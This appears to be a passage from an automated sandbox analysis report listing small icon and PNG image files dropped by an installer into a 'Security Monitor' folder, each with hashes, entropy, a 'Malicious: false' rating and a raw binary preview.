Preview:	.PNG........IHDR................a....IDATx.m.[hTW...}f....8Ij.51!.TI.h.^PJ...........\|.O}RKQ..D.\|....,H.. -i....4...1..h&.....]{...v..........,.?.}.......2../...r...........zH% .Z.fA...%;>.. ..MT.+.....c....r....!......%pS.c.......k/..O...W.$Wm.].`.....N.g.......m...b.VTg#zY.j....4T..b.\|^..D7....'....\.z....J.j{(....F(.Y.3"..w`^....p.....j.:...........@;.z..UUB...O.E..6.7]..6..5,.J..Y2-...I.1(TJ..Tt...&.#.V..PH.\|.[...O....2.....[."+...2....8..K..=..;c4.....uRO[....a...........Z./.3........^{0%.$7\|..r7Np..\'.Hw....2..1..+(#.......e%B.saZ:...&s........D...g.3/ ...o........Q."....Bo:+.@.(_........^m"0..x../..../Q.....p.C............y;.'.M..f.y'Nb........B.\|...(..~e.5.....'..w...A...y.\|.....B.....z..=$.......$.k.C~...a..1.}...sNH.q;..Y..o...j.].'..~.)..H.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-5MVFR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7A76O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7A8F5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.462526568231166
Encrypted:	false
SSDEEP:	24:xDsK0GRS99Rss9RRgJw3Y8/atH9aVGS4pF8lY2GSVSSSSSaGR/X/f:lML9RYwottHQVGR8l9TVSSSSSaUvf
MD5:	EA31E69B4C099C0090A088937CE958D6
SHA1:	CC50F1927506BA8B94C17BFEBBA8D7B928C3A2E0
SHA-256:	3F5FDBA100DD35B0BB4DBBC216A6D0E555C11E3C4907871A1B641BAFCEF6AC99
SHA-512:	B3A62801B292D27F8614E8612399A13A1B66C15EE8ED7781A4DE87C05CE8530255A8F4BA993775810D8E4E1DA2647E58B57C3026BB0718294AA6E4C515E888D2
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D...C...A...A...A...@...@...@...@...@...@...A...A...A...C...D...E../r...e...c...b...`...^...`...`...^..._...a...c...e../r...E...G...k...V...U...T...M...J...K...L...J...L...R...U...V...k...G...I...m...Y...Y...X..........@{...`...........m...Y...Y...m...I...K...q..._..._...^...e..................$r...]..._..._...q...K...M...v...c...c...a...Z...d..........9z...X...^...b...c...v...M...N..!{...g...g...d..s.......................(w...e...g..!{...N...R..$....l...m...k..........R...P...w............l...l..$....R...S..'....q...r...p..#z..`...........z...&{...{...r...q..'....S...U..,....v...v...r..Y........................q...t...v..,....U...W..1....z...z...w...........r...r..........?....y...z..1....W...Y..6....}...}...{...........p...m..........E....}...}..6....Y...[..;...............l.......................%...........;....[...^..A...#..."...#...$...y...............,...#..."...#...A....^...`..[...G...D...E...F...F...F...F...F...F.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7MDAN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-8NCJ5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.0034072391179
Encrypted:	false
SSDEEP:	24:3l4333333Ba333U7JDYF7336Ooi/F73afj/F72vcvtRaIDJluX5Ojk:VgWF+OZ/Fmj/Fgc6+uJOjk
MD5:	67B4BC8703A96A1CAB1B0AC8E37B26F8
SHA1:	363D0703311B99984E26F216A5205CD8D03E8389
SHA-256:	AE2369C58A93218087EB6B5535B1D2547F1FAE00DBC7303ACE8B3B1238BC7CB2
SHA-512:	0283160D49F3F7C17496B5476B2BF7689B3203E0E97CD36CA6EBE06A24D46A62F469C4F24E310220AA48D4FF7AD6D51A56621ED443AFAA50B7645B6688EBB33A
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................?_..MZ.L...I...P...P...P...P...P...P...P...P...P...P...H.8.H*?..LZ.MZ................................................./9../9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ......................p\|..co..................../9...9..KX.MZ..................P`..MZ..MZ..P[................./9...9..KX.MZ..............MZ..Q^..........O[..MZ..lw......./9...9..KX.MZ......Vc..MZ..co..................en..MZ..S]..../9...9..KX.MZ..MZ..MZ................................MZ..MZ..>K../9..MZ.MZ..O_..........................................R`..MZ..LW.KY.JYc.................................................Zg..LY.S..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-9QOV8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.652754071132357
Encrypted:	false
SSDEEP:	12:6v/7WaWgISPVxzQYiM4U3qwAwJms1184FTquLwsObH6yk2CrJ61:rnuzKMf3pXmg/FDoZkd61
MD5:	6A1DE861212D48E1899DF21E458C1542
SHA1:	02A81BF8ADE97DAC769CD1DBA84A207431E077CF
SHA-256:	052EE2A81A293DC611CE88300798DBA2B2E7B0CD924C099CB9B6B8C3D4B354D1
SHA-512:	6EEC1E50166CBCB04C7A53AC7A94CC0133788FABC4E2B781F076B69DF3B906BDC07A4CB99CBF02F2E0B5F273DD3152DBDF2405BA78EDFD694034B7CA9545B458
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.e.Kh.Q...;.I&.T..M.v..q.(.}(b[......"...V.Rm.......BD..ji...m......TteC...M2y\.....y....g.a..'..+.~.10.q.._0._.Yy..m>.d-.(.V..d`".6........u.w..).....\|...$3Y.,;...%..H'.....iXWS.k.7!.....S"......ds.g..q`.{Tx....l..D.]/..AV..[....5\...T......r.Kh#W..B...pi...\.CS...2..W^..a..:...(.;B..t4....J*..W+\|.oc.7..B.%.........(.L...FDh.f.......EM.....8........+I.....C...n...._.?..../.....~t...q..6.....E.b..j...7#8M......p1.^.G.u.k.._.=E.cu.a.S7...E..[Q..h&.....E?.'0\..@....a.0."..M....m..c..........8.&.s.1.h .R.;.6..}w"8A.&......J..........`840w.#..3..X.V:y.>[.Y......J.3o..2Yn.5.esHC...;~.@.5.....K{.;`A.......".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-9R6DJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	639
Entropy (8bit):	7.377780326372934
Encrypted:	false
SSDEEP:	12:6v/7VDc+Qow9oS1rka1r1gslVtbq7eH8MycqGcjnM1eyYHhLpPiX:fLow9frbxG4qecMCBjnMsyYHiX
MD5:	532021B5830C2239DEE3E8FF33229A0B
SHA1:	4C2280EF8547087BE905669B6F49AEEA4C19E2F5
SHA-256:	AA747B612FBFAC5FAC5866F83687D3683402387436E528C80D6E3B7C48EE770A
SHA-512:	90D8345469986460A788254EDADCBFB13F5C0FFF81F8CD9707C86A47E1DBA426A6318E5BA52ACFC381F81DB59CF10B04A894EF7FC5CBC950CE5B59FD001C5F88
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a... cHRM..z%..............u0...`..:....o._.F....pHYs...........~.....tEXtSoftware.paint.net 4.0.6..c.....IDAT8O.SKH.Q...i..U...J..J.]......tS....E....]..BW...B...?(RE.D4.[.A. .Db2..../.....L..{....X..*...."."w9...e.;.FD.!.Z~8h.;fw.!..J....<1.5......n..L.... ..1.....U..o.........Q.....U.....G.Pg?...m....P[..[EdC..g\|.~#.p.T.s...o/q1Z..B3..`..........C.K..X....Ym........aF...^.P....L.M..p2...Z..k.g....I....7...IC..P...:.Af.. ...-.P....am.3....~.k}H-.!9^.D.......Y[...?....{.w0W.k...O?...y....P+.5'....!........r..8..\|.0N.....z7yD.X+.%..T....+..-..!-jG.o..kn.)61......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-A9KFE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-AH09A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.7202656984010085
Encrypted:	false
SSDEEP:	12:JdJzibJG6NppClipAcGrwX6QG6tIR/8hINNIyJwy1I2Mleeyy7qVT:JdJz+BalipGZP6tIMINNIcV1I2Ml2y7a
MD5:	EBFC3AD0B132D550ADC92A0F42776D1F
SHA1:	335FFD8C4685F556F837F6E8D94D7058F4636023
SHA-256:	1F00E5AE25225136ED95AD24D70C691C4367843E52A3E6D961F4E2009DFEA934
SHA-512:	A834FD7402F572AB7D27A0547C4363A02C94DCD87E733AB7DA0CC1B25437657F8876F540EC06C544AFB6490449B6611311EE82C8F6E333771D7A00CD391D523D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D.?.C..B...@...?...>...=...;...:...9...8...8...8...8...8..8./.F..Q...])..d/..b/..f1.........................._,..N...B...8..G..._+..g1..e0..d/..g2..........................a...V'..M...8...H...i3..h2..f1..e0..h2..........................b...W'..V&..8...I...k4..i3..h2..f1..h2..........................c/..Y(..W'..8...K...k4..j4..i3..g2..i3........................b...Z)..X(..8...L...l5..k4..j4..i3..g2..s@..............q?..^,..[..Z)..9...M...l5..l5..k4..j3..h2..g2..i3..l5..l5..g2.._-..^,..\+..[..:...N...l5..l5..l5..k4..j3..j3..t..........t..f1.._,..^,..\+..;...P...}M..U..Y..b..^..P..................~O..j:..e5..a0..=...Q...l..i..e..b..^..g..................g..n>..j;..f6..>...R...l..i..e..b..^..P..................~O..p@..k;..h7..?...T...l..i..e..b..^..}M..Z.........Z..q?..qA..m<..g5..@...U...X..i..e..b..^..[..~O..wD..uB..wE..vF..sB..n=..a/..B...V...m:..V..S..~P..{M..yJ..wG..uE..rA..o

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-BED91.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-BGT52.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-BUT4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.638733880632528
Encrypted:	false
SSDEEP:	12:6v/7Uqs1+tuWPx3jbdb1W7vVeaQkcbxKOd1MB09EVxRXXstDRpROyXSF:3qs1vWPxTugaxcbxKwMB09EjUVOyg
MD5:	B9A06A13BF911BA4288024CB22CD4B8E
SHA1:	43D03CC1C89C311CD7E8F39D531341D71CEA5C98
SHA-256:	E37F73F2FC45067F9F946BA9AC18E6D5C87FFDFB096853667699EA5CA116871E
SHA-512:	417D7091DA9950B32A197599775BD72A9DD7A2D996F5F057B47D490A61AD70D697A3D2B293ECDDF0901D6EE482B86CBC04E808E08005550E7F0600AE5F1134A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.KLSQ...so.........ipC0F..$..h._....H...r.[.........+.....X.......)-..B.....C..t.............).x(....&,/..x..n.`.F.9.y.S..U..bq.....M.f.08}..G"Q.LGC...GQW..B...&.)H\|.c6.%DU...08..s.4.#..`..?..]....f. _..c.h.j{?..?q(0........}.h~'.........k..b.eZ.......f..KI0..+kz#..T/.....^.F.]..D`p....`........J8(..2.h]Z.d.j...4..`2.!..1.......KQ.......L..].K....Sq..(:.~CO.R...4:..s.y.<.\|Y..O.3..E]...'...e?.T?H@i.3..U.d,5.....8]..f...t.kh....T.....Xs.).....t.(.q.........0.....M...Y....[.O.Z...vkk......W$..2nl.......].OI..[........$g.2n\|.'X..G..]...V..+..#7.\|'."..K`jr..h.!...s..`_..Plvt....9..Zt.....D<...q6.8g.r.h..B.Y..]$.P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-CHI3B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	6.917623353697257
Encrypted:	false
SSDEEP:	12:6v/78/LcZn9Kk5YNxqZcvZ46+mxhdPGDjrc:KZUIYNxtvPZV
MD5:	483305114EBE1A4A44773D21D611216C
SHA1:	3C0FBD8BA2AE801A9B03CC238AB641E65E9B67D2
SHA-256:	A150DC4A0B8367A03736C12A4851EB29D780D3EE2B1D0709B417BE0A5FCE1774
SHA-512:	706D04A9BAC5EFA0F85A2070305BF52908D1D4DFF1AE27B4EA09E7BAC291D94B2E980EEEEA9A9C29559E2C728E44C276561F559532E3DFB929AD70C4829FA111
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT8Oc.......Ya..s...f......-;+,....l.. 9...Z....."..@...`.^...G.I..Az......&y....yI..q.,$..h...l..v..............n.H/.6...........vh.?,...4../..O..wQU....8..n..?....wYG.C...^....$.9......h<'(..M.(...N.g......U..i.9!..@z>.^.T...AI........3.5.........00...!s&...T....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-CI83B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.651387048168162
Encrypted:	false
SSDEEP:	24:tfp9eW5Oon3iu7MTGS7ZN6tv1lyvv60hrTcdrU:j9eW5VSOwn4lwi0tGU
MD5:	4121D02B972D718C30E8B41023B894EE
SHA1:	751D347690F151AEAC02DD8C69A1F3D629D1DDD0
SHA-256:	807241CF72D7A2CC7DA63ADE8E22F6D1976E9B5D4B9CEC8479960EF4CE0CAD24
SHA-512:	FCDF69080406D542FA6A460C741BD53B4BC052D26EF930F61381CD05B73DCC1D8F13AE71A786E0C795BBE6889ED044D2CF9427CCC3E29CBF3BB7C97188E31BF0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..MH.a.....[..'...m&......h...C...!.....T...%.(l........6...!Z7E.v%.e.u.gfwvg..P../<..........$.8.". ..W..#]..D.L...q..2"N.!.."ar.9V+.....>..++......Y{..Hk.5.av-./.C..x._..1....,...n7.... ......U..>-Ru....t=.-o...p...W...9z.......\...>....V...,P-..Icr"F,..s1l3<....PU.......J......h@../..R.Y}2........f..R`.....=.a.s.F..y.8e.......[.?..<.....JK.."..p...Y...!..H....L.A0.D.....sU..NQGS..(.xF....._y..S.p2N..w....p,.......=.T.^G....p.$.=w.b..4.~. ...FY5q...!z..N....7EG.r.Og.(.o..8....\..6."J......huh../sT..2%2$?.Y.".....b.y.x?.....=@..w..m.p..T..#..+@M.{...=j\|..-E.x.>@.....h...2.H.?.O......t..a.6.......k..n.5.L..3...8~^..%......G.....!......)..fCMMMWjjj.2aL...c.y....&G.......VA.:..I..........!......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-CMJBG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.503484841838105
Encrypted:	false
SSDEEP:	12:6v/7w7/6TVuA6q45LsaGcUiSVgYtyHUzX8hXqY+sP5yuRGe0zwcu6S:X7/6xft45LqcUjGYUUzX8hXfPP0uiksS
MD5:	535102101CF2549EAAC03D4D2424C607
SHA1:	70BF44C6E737D6127182AB1D38840A448ED6A162
SHA-256:	2E520CE5AAAF8A0DC35E182FE8986438B8CAB107221304AB4C9EAA901E1956AE
SHA-512:	FA510429D278EDFC7576EC900B88A60D1E09B656CF558F16DBB1404137F372B89D67AD9B06EF6114D7353E4501486FEFD9284B888E53D29B8364604504C377D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs.................IDAT8..Mh.Q...{3.....&.1..Zqg.i.A%.`.\...F.(....(.....q.E.e.mA..Z.XK..6.L3..ys]....Wzv..s..........yj.&[..t....U.0....;.\|..[.....%..J.HbZ..T.......T.<BPJ..0p....1~[.OFgv...dLj..:D..'..Y...?t}ziMwx.@#..jj..S.c..<...o%s..M.tbI...........5...w.Q2i...i%./...\|..s...u.j&.............k..9..r,.....p..9qW..bRi..W....}DC....T..E<\|T0......0Ijx....\V.t...._..d.[....S.p(......>.....o.m...T[.pl[h..3.#..rE..v...wM..8[......h.,..G.~'...m?...5..V...e.b.=.7.!...D4....q)....%B.m?...o..#..9w1......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-COH3S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.78558880583897
Encrypted:	false
SSDEEP:	12:KfbXxEm8sLBtLt08SHKdvaB8a+jzSCt/lgj5XTc64b6fNSuHwPqD7H:KfbhX8sL90rHKNaB8ayRYdjc64OpVb
MD5:	BD477227A18FED51A2C527EA4E32400B
SHA1:	6FC1F173245E77BDA386CE112D9A19502E5C0A92
SHA-256:	6569A42B81E6B02E8385CDF5EED48A3FBF3CB89101142723FAAEECDC9785D203
SHA-512:	20DC45444E3D2FF3C5C427C60A5B1C7941FFE74E79B9C156E033D53DCBB616AA2A0518AFC2CCFD7FAC4D95581AC2606DF81B7BACA7EA28AD875871949DD8229B
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ......................................................................................................fA..hB..kD..mE..oG..sI..tK..rI..lE..iC......................b?..................................fA.............._<.....d?..fA..hB..jC..e<.............d..d=.....b?..........]<.....c?..d@..fA..hB..b;.............c..b<.....a>..........[;.....a=..b>..d@..e@..`9.............a.._:.....`=..........Z:....._<..`=..b>..c?..Y4.............{\..Y5.....]<..........X9.....\;..]<.._<..a=..nN.............v..pQ.....[:..........V7.....X8..Y8..Y8..[:.............................W7..........S5.....eE..mL..sQ..wU.............................T5..........{[.....f..g..g..g..}Y................wS.....\|\..........j.....i..i..i..j..e........................i..........o.....o..o..o..o..o..k.....................n..............u.........................v......................{..{..{..{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-D2TJO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	5.316029185743153
Encrypted:	false
SSDEEP:	12:6v/7u/BKpQr+mJEhtGXJoZ3ZbMzcLLUaMdEAfk8zKGPsl1:5Kpf3GXJoXMwL/MdEAfk87Ez
MD5:	6C2EE6F053AB95D2AA3924EE689E80B9
SHA1:	734FE9B1CAE77E70BE14D79B2A14B545AA249499
SHA-256:	FC44A14405F3747A5D87DD09CCABB3C0E312B5E127929C6E2CF5920F125F132A
SHA-512:	5BA51D89FD4BF61BE55AFC3210FB31ED7DAEA5C44D9829BF0CC48685EF283ADD50F53039748312CD57194085067D88BCD0B9FA0A58C462DA595E2BB54534FFF5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....sRGB.........gAMA......a.....PLTE.Nm.Ex.Sr._Y.Vc.m\.\|_.r`.ra.5..,..4..=..8.....C..N..E..F..J..K..A..k..n..o..m..m..n..l.....c.g.h.z.{.g..j.s.t.x..n..z..q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................./V.4....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT(S]..;.Q....t..9&K.......R(.U(!DD....<.....y....eE......X.p.+4...f.k....n....E)e(.....%..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-GCTVR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
